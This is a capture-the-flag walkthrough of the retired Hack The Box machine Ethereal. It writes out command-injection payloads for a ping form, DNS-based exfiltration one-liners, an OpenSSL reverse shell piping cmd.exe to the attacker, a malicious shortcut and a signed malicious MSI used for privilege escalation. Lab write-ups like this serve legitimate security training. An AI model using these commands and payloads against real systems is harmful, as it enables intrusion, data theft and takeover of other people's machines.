This post documents the complete walkthrough of Ethereal, a retired vulnerable VM created by egre55 and MinatoTW, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.


Ethereal is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535

Starting masscan 1.0.4 ( at 2019-02-18 02:01:47 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on
Discovered open port 8080/tcp on
Discovered open port 21/tcp on

masscan finds three open ports. Let’s do one better with nmap scanning the discovered ports.

# nmap -n -v -Pn -p21,80,8080 -A --reason -oN nmap.txt
21/tcp   open  ftp     syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP is not the same as
| ftp-syst:
|_  SYST: Windows_NT
80/tcp   open  http    syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ethereal
8080/tcp open  http    syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request

Since FTP allows anonymous login, let’s start with that first. Long story short, the only usable piece of information lies in


The file contains a FAT filesystem that we can mount like so.



The directory pbox contains a MS-DOS executable PBOX.EXE, i.e. PasswordBox program.

We can use DOSBox to open it. We’ll mount directory pbox as C: volume.


When you try to run PBOX.EXE, DOSBox will complain that there’s no DPMI (DOS Protected Mode Interface). We can enable DPMI through CWSDPMI, a DPMI host that allows DOS programs to run in protected mode.

Simply place CWSDPMI.exe in the same location as PBOX.EXE and we are good to go.


The master password is password, which I got it on my first attempt. :laughing:


To make things easier for copying, you can also run PBOX.EXE with the --dump switch. This switch will dump all the credentials onto standard output.


Internet Information Services (IIS)

Now, let’s turn our attention to the http services, 80/tcp and 8080/tcp. This is how 80/tcp looks like.


Very nice! Anyways, the key to the next clue lies here.


See where it links to?


It’ll be wise to add ethereal.htb to /etc/hosts because this is what you get if you have not done so.


And this is what you get otherwise. :smirk:


Recall the credentials we collected earlier? Turns out that (alan:!C414m17y57r1k3s4g41n!) is the right combination to login for the Basic Authentication scheme.


Test Connection

This is how it looks like after logging in.


This form allows one to send exactly two ICMP echo request messages to an external IP address. Here’s me using the form to send the request to my own IP address.


I had a tcpdump session to capture ICMP traffic.


The form must have been implemented with the following Windows command:

ping -n2 <ip_address>

As such, I’m able to execute remote command by prepending a single ampersand character (&). This allows the form to execute my command regardless of whether the ping was successfully executed or not.

Now, let’s see if the box allows DNS queries. I’m using dnschef to set up a fake DNS server that only has one answer to all the queries.

# dnschef --fakeip= -i --logfile=exfil

Meanwhile, I have another terminal windows to display just the query.

# tail -f exfil | grep --line-buffered cooking | cut -d' ' -f11

This is the test.


If the test is successful, I should see on the log.


Awesome. I can exfiltrate data through DNS!

Building on the above insights, these are some of the commands I came up with to exfiltrate enumeration results from the box.

Show current hostname and user

& for /f "usebackq tokens=1,2 delims=\" %i in (`whoami`) do nslookup %i_%j

List world-writable directory in %PUBLIC%

& for /f "usebackq tokens=1-10* delims=\" %i in (`dir /a-rd /s /b %PUBLIC%`) do nslookup %i_%j_%k_%l_%m

List files in a directory—C:\Program Files (x86)\

& for /f "usebackq tokens=*" %i in (`dir /b c:\progra~2`) do nslookup %i

Redirect command output to a file in a world-writable directory

& netsh advfirewall firewall show rule name=all dir=out verbose > c:\users\public\desktop\shortcuts\fw.txt

Check if file/directory exists

& if exist c:\users\public\desktop\shortcuts (nslookup yes else (nolookup no

Display outbound firewall rules

& for /f "eol=- skip=100 tokens=1-10*" %i in (c:\users\public\desktop\shortcuts\fw.txt) do nslookup %i_%j_%k_%l_%m_%o_%p_%q

Check access control list of files/directories

& for /f "tokens=1-10*" %i in ('icacls c:\users\public\desktop\shortcuts') do nslookup %i_%j_%k_%l_%m_%o_%p_%q

Data Exfiltration

Running the command to display outbound firewall rules reveals the following:

Rule Name: Allow ICMP Request   
Enabled: Yes      
Direction: Out      
Profiles: Domain,Private,Public      
LocalIP: Any      
RemoteIP: Any      
Protocol: ICMPv4      
Type Code      
8 Any      
Edge traversal: No     
InterfaceTypes: Any      
Security: NotRequired      
Rule source: Local Setting    
Action: Allow      

Rule Name: Allow UDP Port
Enabled: Yes
Direction: Out
Profiles: Domain,Private,Public
LocalIP: Any
RemoteIP: Any
Protocol: UDP
LocalPort: Any
RemotePort: 53
Edge traversal: No
InterfaceTypes: Any
Security: NotRequired
Rule source: Local Setting
Action: Allow

Rule Name: Allow TCP Ports 136
Enabled: Yes
Direction: Out
Profiles: Domain,Private,Public
LocalIP: Any
RemoteIP: Any
Protocol: TCP
LocalPort: Any
RemotePort: 73,136      
Edge traversal: No     
InterfaceTypes: Any      
Security: NotRequired      
Rule source: Local Setting    
Action: Allow      

Rule Name: Allow ICMP Reply   
Enabled: Yes      
Direction: Out      
Profiles: Domain,Private,Public      
LocalIP: Any      
RemoteIP: Any      
Protocol: ICMPv4      
Type Code      
0 Any      
Edge traversal: No     
InterfaceTypes: Any      
Security: NotRequired      
Rule source: Local Setting    
Action: Allow

Running the command to list files in a directory—C:\Program Files (x86) revealed the pressence of OpenSSL.


Going deeper into the OpenSSL directory reveals the openssl.exe binary.


Remote Command Execution

We have two TCP ports allowed for outbound communications and there’s OpenSSL available. Perhaps we can create an encrypted tunnel for shuttling data back and forth between the box and my attacking machine?

Let’s give it a shot using the following command on the form.

& c:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect | cmd.exe /k /q | c:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect

We need to set up two SSL servers listening at 73/tcp and 136/tcp on my attacking machine, one for echoing commands to cmd.exe, the other for displaying output from cmd.exe, respectively. I’m sure you get the idea. :wink:

But first, we need a self-signed certificate for the SSL server. Here’s the command to generate a self-signed certificate using openssl.

# openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem

Now, launch the two SSL servers like so.

# openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < cmd
# openssl s_server -quiet -key key.pem -cert cert.pem -port 136

Send the commands in cmd to the SSL server at 73/tcp. The moment the form connects to it, the commands is echoed to cmd.exe and the output from cmd.exe is piped to 136/tcp.

Here are the commands in cmd I want to run at the box.


Here comes the moment of truth…


And, we have remote command execution! Although we have remote command execution, it feels like submitting instructions in a punched card. Nostalgic but painful.

During enumeration of alan’s account, I notice a note on his desktop.

I've created a shortcut for VS on the Public Desktop to ensure we use the same version. Please delete any existing shortcuts and use this one instead.

- Alan

If I had to guess, I would say that I need to create a malicious shortcut (LNK) file and replace the VS shortcut with it. And a scheduled task would be running the shortcut as another user. To create the shortcut, I can use LNKUp to generate a Windows shortcut that will execute a command when run.

# python --host localhost --out evil.lnk --execute 'c:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect | cmd.exe /k /q | c:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect' --type ntlm
##                                                    ##
##  /$$       /$$   /$$ /$$   /$$ /$$   /$$           ##
## | $$      | $$$ | $$| $$  /$$/| $$  | $$           ##
## | $$      | $$$$| $$| $$ /$$/ | $$  | $$  /$$$$$$  ##
## | $$      | $$ $$ $$| $$$$$/  | $$  | $$ /$$__  $$ ##
## | $$      | $$  $$$$| $$  $$  | $$  | $$| $$  \ $$ ##
## | $$      | $$\  $$$| $$\  $$ | $$  | $$| $$  | $$ ##
## | $$$$$$$$| $$ \  $$| $$ \  $$|  $$$$$$/| $$$$$$$/ ##
## |________/|__/  \__/|__/  \__/ \______/ | $$____/  ##
##                                         | $$       ##
##                                         | $$       ##
##                                         |__/       ##

File saved to /root/Downloads/repo/LNKUp/evil.lnk
Link created at evil.lnk with UNC path \\localhost\Share\44170.ico.

# base64 -w0 evil.lnk

Now, how do I transfer the LNK file over to the box? I can echo the base64-encoded string of the LNK file and redirect/write it to C:\Users\Public\Desktop\Shortcuts on the form like so.

& echo TAAAAAEU...Y28AAAAA > c:\users\public\desktop\shortcuts\evil.lnk.b64


The next task would be to base64-decode it back to the LNK file. How do I do that? openssl! My cmd now looks like this.

cd c:\users\public\desktop\shortcuts
c:\progra~2\openssl-v1.1.0\bin\openssl.exe base64 -A -d -in evil.lnk.b64 -out "Visual Studio 2017.lnk"
type "Visual Studio 2017.lnk"

A while later, this appears…


Naughty jorge is the one double-clicking the shortcut! I see…I need to repeat the steps of echoing commands to the SSL server listening at 73/tcp, with one exception. I can’t control when the commands get executed because we’ll have to wait for jorge to double-click the shortcut.

During enumeration of jorge’s account, I found user.txt at the desktop.


I also found out that there are two mounted volumes in the box.


Further enumeration of D: drive reveals another note at D:\DEV\MSIs\note.txt.

Please drop MSIs that need testing into this folder - I will review regularly. Certs have been added to the store already.

- Rupal

What now? Create malicious signed MSI? Challenge accepted. :triumph:

Privilege Escalation

I’m using WiX Toolset to create the malicious MSI, and signtool from Windows SDK to sign it. Having said that, the instructions to install and configure them is beyond the scope of this walkthrough. I’ll leave you with an exercise to extract the CA certificate and private key from D:\Certs. Hint: use openssl base64.

The WiX Toolset allows one to create MSI file using WiX file, an XML document describing the MSI file. Here’s the WIX file I’m using.

<?xml version="1.0"?>
<Wix xmlns="">
	<Product Id="*" UpgradeCode="ABCDDCBA-7349-453F-94F6-BCB5110BA4FD" Name="Foobar 1.0" Version="0.0.1" Manufacturer="Acme Ltd." Language="1033">
	<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
	<Media Id="1" Cabinet="" EmbedCab="yes"/>
	<Directory Id="TARGETDIR" Name="SourceDir">
		<Directory Id="ProgramFilesFolder">
			<Directory Id="INSTALLLOCATION" Name="foobar">
				<Component Id="foobar" Guid="ABCDDCBA-83F1-4F22-985B-FDB3C8ABD471">
					<File Id="foobar" Source="foobar.exe"/>
	<Feature Id="DefaultFeature" Level="1">
		<ComponentRef Id="foobar"/>
	<CustomAction Id="Root" Directory="TARGETDIR" ExeCommand="cmd.exe /c type c:\users\rupal\desktop\root.txt > c:\users\public\desktop\shortcuts\success.txt" Execute="deferred" Impersonate="yes" Return="ignore"/>
		<Custom Action="Root" After="InstallInitialize"></Custom>

Upon running the MSI file as administrator, we’ll redirect root.txt to success.txt, and place it a location where everyone has access. :smirk:

But before we compile the WiX file to MSI, we need to issue a software publisher certificate (SPC), i.e. the code signing certificate.

Run the following commands to generate the SPC.


makecert.exe will prompt you for a password to protect the generated private key. You’ll see something like this. Use any password you like.


We can now proceed to create the MSI file with a candlelight dinner, first with candle.exe.


And then light.exe.


Finally, we sign the MSI file with our newly minted SPC.


Let’s copy evil.msi to the box. On our attacking machine, run the following command.

# openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < evil.msi

On the form, run the following command.

& c:\progra~2\openssl-v1.1.0\bin\openssl.exe s_client -quiet -connect > c:\users\public\desktop\shortcuts\evil.msi

Note: You may need to do this a couple of times. I encountered truncation of the file. It was painful…

Now, I have jorge execute the following commands.

cd c:\users\public\desktop\shortcuts
copy /y evil.msi d:\DEV\MSIs
cd d:\DEV\MSIs

Upon dropping the MSI file at D:\DEV\MSIs, I got root.txt moments later, courtesy of Rupal.